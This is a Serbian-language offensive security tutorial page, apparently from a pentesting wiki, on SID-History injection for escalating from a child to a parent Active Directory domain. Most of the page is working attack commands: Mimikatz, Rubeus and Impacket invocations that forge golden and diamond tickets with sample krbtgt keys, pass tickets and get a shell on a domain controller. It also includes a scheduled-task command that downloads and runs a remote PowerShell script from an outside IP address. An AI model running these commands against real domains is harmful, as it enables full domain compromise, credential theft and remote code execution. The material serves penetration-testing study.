# SID-History Injection
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## SID History Injection Attack
Fokus **SID History Injection Attack** je pomoć **migraciji korisnika između domena** dok se obezbeđuje nastavak pristupa resursima iz prethodne domene. To se postiže **uključivanjem prethodnog sigurnosnog identifikatora (SID) korisnika u SID istoriju** njihovog novog naloga. Važno je napomenuti da se ovaj proces može manipulisati kako bi se omogućio neovlašćen pristup dodavanjem SID-a grupe sa visokim privilegijama (kao što su Enterprise Admins ili Domain Admins) iz matične domene u SID istoriju. Ova eksploatacija omogućava pristup svim resursima unutar matične domene.
Postoje dve metode za izvršavanje ovog napada: kroz kreiranje **Golden Ticket** ili **Diamond Ticket**.
Da bi se odredio SID za grupu **"Enterprise Admins"**, prvo je potrebno pronaći SID matične domene. Nakon identifikacije, SID grupe Enterprise Admins može se konstruisati dodavanjem `-519` na SID matične domene. Na primer, ako je SID matične domene `S-1-5-21-280534878-1496970234-700767426`, rezultantni SID za grupu "Enterprise Admins" bi bio `S-1-5-21-280534878-1496970234-700767426-519`.
Takođe možete koristiti grupe **Domain Admins**, koje se završavaju sa **512**.
Drugi način da se pronađe SID grupe iz druge domene (na primer "Domain Admins") je sa:
```powershell
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
```
### Zlatna ulaznica (Mimikatz) sa KRBTGT-AES256
{% code overflow="wrap" %}
```bash
mimikatz.exe "kerberos::golden /user:Administrator /domain: /sid: /sids: /aes256: /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
/user is the username to impersonate (could be anything)
/domain is the current domain.
/sid is the current domain SID.
/sids is the SID of the target group to add ourselves to.
/aes256 is the AES256 key of the current domain's krbtgt account.
--> You could also use /krbtgt: instead of the "/aes256" option
/startoffset sets the start time of the ticket to 10 mins before the current time.
/endin sets the expiry date for the ticket to 60 mins.
/renewmax sets how long the ticket can be valid for if renewed.
# The previous command will generate a file called ticket.kirbi
# Just loading you can perform a dcsync attack agains the domain
```
{% endcode %}
Za više informacija o zlatnim karticama pogledajte:
{% content-ref url="golden-ticket.md" %}
[golden-ticket.md](golden-ticket.md)
{% endcontent-ref %}
### Dijamantska kartica (Rubeus + KRBTGT-AES256)
{% code overflow="wrap" %}
```powershell
# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
# Or a ptt with a golden ticket
Rubeus.exe golden /rc4: /domain: /sid: /sids:-519 /user:Administrator /ptt
# You can use "Administrator" as username or any other string
```
{% endcode %}
Za više informacija o dijamantskim kartama pogledajte:
{% content-ref url="diamond-ticket.md" %}
[diamond-ticket.md](diamond-ticket.md)
{% endcontent-ref %}
{% code overflow="wrap" %}
```bash
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
ls \\mcorp-dc.moneycorp.local\c$
```
{% endcode %}
Povećajte privilegije na DA root ili Enterprise admin koristeći KRBTGT hash kompromitovane domene:
{% code overflow="wrap" %}
```bash
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local
schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
```
{% endcode %}
Sa stečenim dozvolama iz napada možete izvršiti, na primer, DCSync napad u novoj domeni:
{% content-ref url="dcsync.md" %}
[dcsync.md](dcsync.md)
{% endcontent-ref %}
### Iz linux-a
#### Ručno sa [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)
{% code overflow="wrap" %}
```bash
# This is for an attack from child to root domain
# Get child domain SID
lookupsid.py /username@10.10.10.10 | grep "Domain SID"
# Get root domain SID
lookupsid.py /username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID"
# Generate golden ticket
ticketer.py -nthash -domain -domain-sid -extra-sid Administrator
# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING
# JUST USE THE SAME USERNAME IN THE NEXT STEPS
# Load ticket
export KRB5CCNAME=hacker.ccache
# psexec in domain controller of root
psexec.py /Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10
```
{% endcode %}
#### Automatski koristeći [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
Ovo je Impacket skripta koja će **automatizovati eskalaciju sa child na parent domen**. Skripta zahteva:
* Ciljni kontroler domena
* Akreditive za admin korisnika u child domenu
Tok rada je:
* Dobija SID za grupu Enterprise Admins u parent domenu
* Preuzima hash za KRBTGT nalog u child domenu
* Kreira Zlatnu Ulaznicu
* Prijavljuje se u parent domen
* Preuzima akreditive za Administrator nalog u parent domenu
* Ako je `target-exec` prekidač specificiran, autentifikuje se na Kontroler Domenа parent domena putem Psexec.
```bash
raiseChild.py -target-exec 10.10.10.10 /username
```
## Reference
* [https://adsecurity.org/?p=1772](https://adsecurity.org/?p=1772)
* [https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/](https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/)
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